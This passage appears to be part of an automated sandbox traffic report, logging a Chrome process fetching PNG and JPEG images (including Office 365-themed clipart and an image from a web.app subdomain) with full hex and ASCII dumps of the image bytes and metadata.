2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 41 42 31 44 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 37 38 38 41 32 41 32 33 44 30 32 35 31 31 45 37 41 30 41 45 43 38 37 39 42 36 32 42 41 42 31 44 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 37 38 38 41 32 41 32 34 44 30 32 35 31 31 45 37 41 30 41 45 43 38 37 39 42 36 32 42 41 42 31 44 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b Data Ascii: AB1D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:788A2A23D02511E7A0AEC879B62BAB1D" stRef:documentID="xmp.did:788A2A24D02511E7A0AEC879B62BAB1D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>C
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 4f fe b3 0e 7f 17 b9 8d 98 c4 7e 8a 2e 5b fb b5 eb fc d1 53 77 43 e9 f9 50 62 a3 2d 26 4e 25 e3 22 aa 5f 12 46 7d d0 ee c0 f6 3a ff 00 fb c8 6e b0 fb ca b9 1c 31 18 78 9f bb 56 9e c9 89 f7 b9 5c 6e e1 ec cf 1c 16 36 63 ba aa 22 7d b1 31 ee 96 d6 53 a6 86 48 ad 02 40 65 46 1d 66 8a f6 5f 9e b3 52 89 16 1a 5f 77 72 c1 57 b9 7f ee a1 bf c2 ef 07 29 bf c2 ef 4a 8f 18 d6 3f db ac fb 1c 6e 61 b9 6d a4 c2 71 c3 f4 2e c7 ec d5 a4 ff 00 be 29 8f 6b 7b 67 b2 a1 93 bb 57 9a db 3f 6c e9 13 71 1f 75 d0 5b 32 d6 c5 ff 00 86 eb 9d fb 8e 97 09 9d e5 d8 ef d5 ef 53 54 f6 6b 1a fa a7 8f b1 c1 e6 5b 29 9e 65 1a ce 37 0b 5d 11 1d 7d 19 9a 7f 8a 35 8f 6b 4e 6d 1c fb 5c 00 09 15 ed 5f 17 00 24 00 03 5c 00 09 15 ed 5f 17 00 24 00 03 5c 00 09 15 ed 5f 17 00 24 00 03 5c 00 09 15 Data Ascii: O~.[SwCPb-&N%"_F}:n1xV\n6c"}1SH@eFf_R_wrW)J?namq.)k{gW?lqu[2STk[)e7]}5kNm\_$\_$\_$\
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 3c 1d 6f ca 17 4c bb 31 4b 74 49 1c 9c 52 e3 56 a3 36 f4 49 d9 d6 3a 04 b5 fe a5 6b 2f eb 1e 9f 1c c2 3f cd 37 89 87 b3 ad 19 7d 1d 39 fb 55 70 a7 d5 ce 7f da 9a 36 7b 72 18 dc 4e 97 73 ab b1 6a 9f b1 46 95 55 e9 ab e6 c7 a3 a4 eb 9d b6 cb 46 52 b2 80 b1 21 5a 2b 51 34 e9 47 f6 7d 0a 5d 7a 99 7b bc 15 8d b9 1d df de eb d7 da 47 79 96 d1 e6 59 ae b1 88 bb 3d 1f b3 1c 23 d5 1c fd 3a a6 ec 8b 61 f2 1d 9c d2 ac 0e 1e 3a 71 f5 ea f3 aa f5 cf 2f dd d2 3b 98 83 48 eb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 4d 64 32 97 6f 2c 1c 54 7d 94 b5 13 d2 0c 47 67 2c 06 bf 3e 03 97 fc 50 9d 7b 17 e6 86 cf 2f ce 71 f9 5c eb 84 bb 34 f7 75 7a a7 87 b1 a1 ce 76 5f 27 da 1a 7a 39 96 1e 9a e7 b7 4d 2a 8f 0a a3 4a a3 d6 ec 2e 4f ba 68 43 73 e1 48 e5 2e 82 e6 35 Data Ascii: <oL1KtIRV6I:k/?7}9Up6{rNsjFUFR!Z+Q4G}]z{GyY=#:a:q/;HMd2o,T}Gg,>P{/q\4uzv_'z9M*J.OhCsH.5
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: c8 70 e1 b5 5e f7 bd c8 8d 6b 51 2f 55 55 5e e4 44 3e 55 54 53 13 55 53 a4 43 f5 45 15 5c aa 28 a2 35 99 e5 0e b4 e5 8b a6 8d 9a b2 ee 8f 42 c9 a4 08 35 fa 9b 6f 63 a7 de ab f4 28 2e ff 00 0d d7 2c 65 f8 2a 37 fc 4b dc 47 b9 ee de e1 f0 7a d9 cb a2 2e 57 f6 be ac 78 7d af 64 77 ca 6b d9 1d ce 63 73 38 a7 15 9d cc d9 b7 cf a1 1f a4 9f 1e aa 3d 3a d5 dd 1c dd 36 b5 b6 d6 d5 5b aa 9b aa f6 b2 b7 33 51 99 5b f3 56 2b be a4 34 5f c5 63 12 e6 b1 3d 8d 44 42 28 c7 e6 58 ac ce ef 96 c5 d7 35 4f 7f 28 f0 8e 51 e8 58 dc 9f 22 cb b2 0c 3f c9 b2 db 51 6e 9e ee 73 df 54 cf 1a a7 be 66 50 cc 16 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 75 16 b9 58 b3 95 18 55 7a 0d 4e 66 9f 3b 01 6f 87 1e 5e 22 b1 e9 ec bd 3b d1 7d 69 dc be b3 df Data Ascii: p^kQ/UU^D>UTSUSCE\(5B5oc(.,e*7KGz.Wx}dwkcs8=:6[3Q[V+4_c=DB(X5O(QX"?QnsTfP?uXUzNf;o^";}i
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 62 7a a6 27 9c 3b 83 90 3e 98 ec 99 59 6b 23 95 f9 96 42 89 d9 0a 5a ba a8 8d 6b bc 12 65 3b 9a be ae b1 3b 3b b3 91 3b 5c b2 ae cd ed dc 57 a6 17 35 9d 27 94 57 ff 00 b7 fe de be d5 76 db bd d0 4d be 96 63 b3 b4 eb 1c ea b5 d7 ff 00 c7 db f7 67 8f d9 99 e1 4b b6 b0 a2 c3 8d 0d 91 a0 c4 6c 48 71 1a 8e 63 da b7 a3 91 7b 51 51 53 bd 09 42 26 2a 8d 63 92 bf 55 4d 54 55 34 d5 1a 4c 25 d7 b5 7c 5c 0f af ca 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 01 23 4f 6c 7b fc 80 69 ed 8f 7f 90 0f 4d fb 9e a7 16 75 fe 5e 00 34 0e d9 b9 cc 06 81 db 37 39 80 d3 db 1e ff 00 20 1a 7b 63 df e4 03 d3 7e e7 a9 Data Ascii: bz';>Yk#BZke;;;;\W5'WvMcgKlHqc{QQSB&*cUMTU4L%\|\@5^p@5^p@5^p@5^p@5^p@5^p@5#Ol{iMu^479 {c~
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 49 47 4b 96 ee c7 c1 89 72 2a c3 88 de f6 bd 2f 4b d3 e0 a9 7a 2a 2a cf 19 76 63 86 cd 2c 46 27 0b 56 b4 cf ae 27 b2 7b 25 4f 33 bc 8f 1d b3 d8 ca b0 39 85 1d 1a e3 d5 31 d5 34 cf 5c 4f 54 fa 27 8e b0 d0 19 cd 4b 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 00 00 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 7e 98 75 aa 4d 9c a4 d4 ab b5 d9 f8 32 52 12 50 d2 34 c4 c4 67 5c d6 35 2f ed 5f b9 11 3b 55 55 11 3b 4f 1c 46 22 d6 16 d5 57 af 55 d1 a6 9e Data Ascii: IGKr/Kz*vc,F'V'{%O3914\OT'K"c+"c+"c+"c+"c+"c+"Wx\Wx\Wx\Wx\Wx\Wx\~uM2RP4g\5/_;UU;OF"WU
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: f7 24 c3 13 c5 13 ed 22 7d a6 fb 51 b7 75 9b 2b b4 95 e4 58 8e 85 ce 36 6a f9 d1 d9 fb 51 f1 ed 8f 42 38 de 26 c2 da da fc 17 95 b1 11 18 9b 71 e6 4f da 8f b1 3d d3 d5 3d 53 dd 32 f4 52 42 7a 4a a9 25 2f 52 a7 4d 42 99 94 9b 84 d8 d0 23 42 72 39 91 21 b9 2f 6b 9a a9 d8 a8 a8 a8 a8 a4 f3 6e e5 17 a8 8b 96 e7 5a 66 35 89 8e b8 95 3b bf 62 e6 1a ed 56 6f 53 34 d7 4c cc 4c 4f 09 89 8e 13 13 1d b0 9f 5e d5 f1 70 3f 6f 24 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 00 02 46 9e d8 f7 f9 00 d3 db 1e ff 00 20 1e 9b f7 3d 4e 2c eb fc bc 00 68 1d b3 73 98 0d 03 b6 6e 73 01 a7 b6 3d fe 40 34 f6 c7 bf c8 07 a6 fd cf 53 8b 3a ff 00 2f 00 Data Ascii: $"}Qu+X6jQB8&qO==S2RBzJ%/RMB#Br9!/knZf5;bVoS4LLO^p?o$k"k"k"k"k"kF =N,hsns=@4S:/
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 fe a2 aa 2d e8 b7 2a 01 df ae 89 39 67 4c a2 d9 c9 8b 35 5f 9b 47 5a 3a 3c 26 67 ab dd f5 e6 e5 d3 b1 b1 bd ae 45 54 6b fd aa 8b f8 d7 24 e7 b1 9b 45 f9 5f 0d f2 6c 44 fe 7a 88 fe 28 ea 9f 1e a9 f5 f5 aa 2e f4 b6 23 fe 19 c7 7c bb 07 4e 98 6b d3 c3 b2 8a b9 cd 3e 13 ce 9e ed 63 ea bb 06 76 a8 a4 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 00 00 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 fb aa 55 29 0a 3d 3a 66 ad 54 9a 87 2d 27 27 05 f1 e3 c6 88 b7 36 1c 36 a2 Data Ascii: -*9gL5_GZ:<&gETk$E_lDz(.#\|Nk>cv"c+"c+"c+"c+"c+"Wx\Wx\Wx\Wx\Wx\WxU)=:fT-''66
2024-04-29 00:01:38 UTC	1369	IN	Data Raw: 76 6e 6e 6b 2f b9 6f ec 55 5f 13 bd cb 76 03 09 85 aa 2b c4 55 d3 94 3b 9e ef 8b 31 cc 68 f2 58 4a 22 dc 7a e7 e0 e7 8a 35 98 a1 50 25 db 2b 4a a6 c0 97 63 3b b3 21 a2 7d c7 71 87 c1 d8 c2 d3 d1 b5 4c 44 22 ac 66 67 8a c7 d7 35 e2 2b 99 99 ed 95 53 25 80 00 00 00 00 00 00 00 01 f1 98 93 95 9a 6e 6c cc bc 38 a9 e0 e6 a2 9f 8a ad d3 5f ce 8d 5e 96 ef 5c b5 3a d1 33 0e 28 cb 1e 49 ac 34 fd 90 a9 d4 62 51 60 43 98 64 25 7b 62 43 63 5a b7 a2 2a f8 1c b6 7f 91 e0 6f 61 2e 5c 9a 23 5d 1d f6 c8 6d 56 69 63 31 b5 66 2e cc d3 33 a6 93 32 f3 8a 61 89 0e 3c 48 6d ee 6b 95 10 80 a1 72 ed d5 35 53 15 4b e6 7d 7e c0 00 00 00 00 00 00 00 00 00 00 00 07 3c f4 50 ca bf f2 42 d5 2d 89 ac 4d 66 52 2b f1 11 20 ab d6 e6 c0 9c b9 11 ab f0 7a 22 31 7d b9 9e 0a 77 bb 0b 9e fe 4f Data Ascii: vnnk/oU_v+U;1hXJ"z5P%+Jc;!}qLD"fg5+S%nl8_^\:3(I4bQ`Cd%{bCcZ*oa.\#]mVic1f.32a<Hmkr5SK}~<PB-MfR+ z"1}wO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49783	199.36.158.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:39 UTC	358	OUT	GET /background-2.png HTTP/1.1 Host: hiirscktcy.web.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:39 UTC	592	IN	HTTP/1.1 200 OK Connection: close Content-Length: 27264 Cache-Control: max-age=3600 Content-Type: image/png Etag: "93df60630e1a53d11b961344218a04e9ac5f41bbdbcac863b84505a712934b67" Last-Modified: Thu, 07 Dec 2023 11:28:31 GMT Strict-Transport-Security: max-age=31556926; includeSubDomains; preload Accept-Ranges: bytes Date: Mon, 29 Apr 2024 00:01:39 GMT X-Served-By: cache-chi-kigq8000068-CHI X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1714348899.459501,VS0,VE2 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 8f 00 00 00 ea 08 06 00 00 00 5a d4 c9 ba 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3a fb 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d Data Ascii: PNGIHDRZ cHRMz&u0`:pQ<sRGBgAMAapHYs:iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 61 66 34 39 2d 39 66 34 66 2d 38 61 33 38 2d 64 32 39 35 61 65 34 39 35 36 63 62 3c 2f 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 64 66 3a 53 65 71 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 64 66 3a 6c 69 20 72 64 66 3a 70 61 72 73 65 54 79 70 65 3d 22 52 65 73 6f 75 72 63 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 61 63 74 69 6f 6e 3e 63 72 65 61 74 65 64 3c 2f 73 74 45 76 74 3a 61 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3e 78 6d 70 2e 69 69 64 3a 30 30 65 35 37 Data Ascii: af49-9f4f-8a38-d295ae4956cb</xmpMM:OriginalDocumentID> <xmpMM:History> <rdf:Seq> <rdf:li rdf:parseType="Resource"> <stEvt:action>created</stEvt:action> <stEvt:instanceID>xmp.iid:00e57
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 69 6f 6e 3e 31 3c 2f 74 69 66 66 3a 4f 72 69 65 6e 74 61 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 3c 74 69 66 66 3a 58 52 65 73 6f 6c 75 74 69 6f 6e 3e 37 32 30 30 30 30 2f 31 30 30 30 30 3c 2f 74 69 66 66 3a 58 52 65 73 6f 6c 75 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 3c 74 69 66 66 3a 59 52 65 73 6f 6c 75 74 69 6f 6e 3e 37 32 30 30 30 30 2f 31 30 30 30 30 3c 2f 74 69 66 66 3a 59 52 65 73 6f 6c 75 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 3c 74 69 66 66 3a 52 65 73 6f 6c 75 74 69 6f 6e 55 6e 69 74 3e 32 3c 2f 74 69 66 66 3a 52 65 73 6f 6c 75 74 69 6f 6e 55 6e 69 74 3e 0a 20 20 20 20 20 20 20 20 20 3c 65 78 69 66 3a 43 6f 6c 6f 72 53 70 61 63 65 3e 31 3c 2f 65 78 69 66 3a 43 6f 6c 6f 72 53 70 61 63 65 3e 0a 20 20 20 20 20 20 20 20 20 3c 65 78 Data Ascii: ion>1</tiff:Orientation> <tiff:XResolution>720000/10000</tiff:XResolution> <tiff:YResolution>720000/10000</tiff:YResolution> <tiff:ResolutionUnit>2</tiff:ResolutionUnit> <exif:ColorSpace>1</exif:ColorSpace> <ex
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii:
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:39 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49781	173.208.137.67	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:39 UTC	418	OUT	GET /picdir/middle/80-804103_office-365-is-securable-but-not-secure-microsoft.png HTTP/1.1 Host: www.pinclipart.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:39 UTC	261	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 Date: Mon, 29 Apr 2024 00:01:39 GMT Content-Type: image/png Content-Length: 109421 Last-Modified: Sun, 22 Dec 2019 06:56:00 GMT Connection: close Vary: Accept-Encoding ETag: "5dff1380-1ab6d" Accept-Ranges: bytes
2024-04-29 00:01:39 UTC	16123	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 03 95 03 70 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCCp"}!1AQa"q2
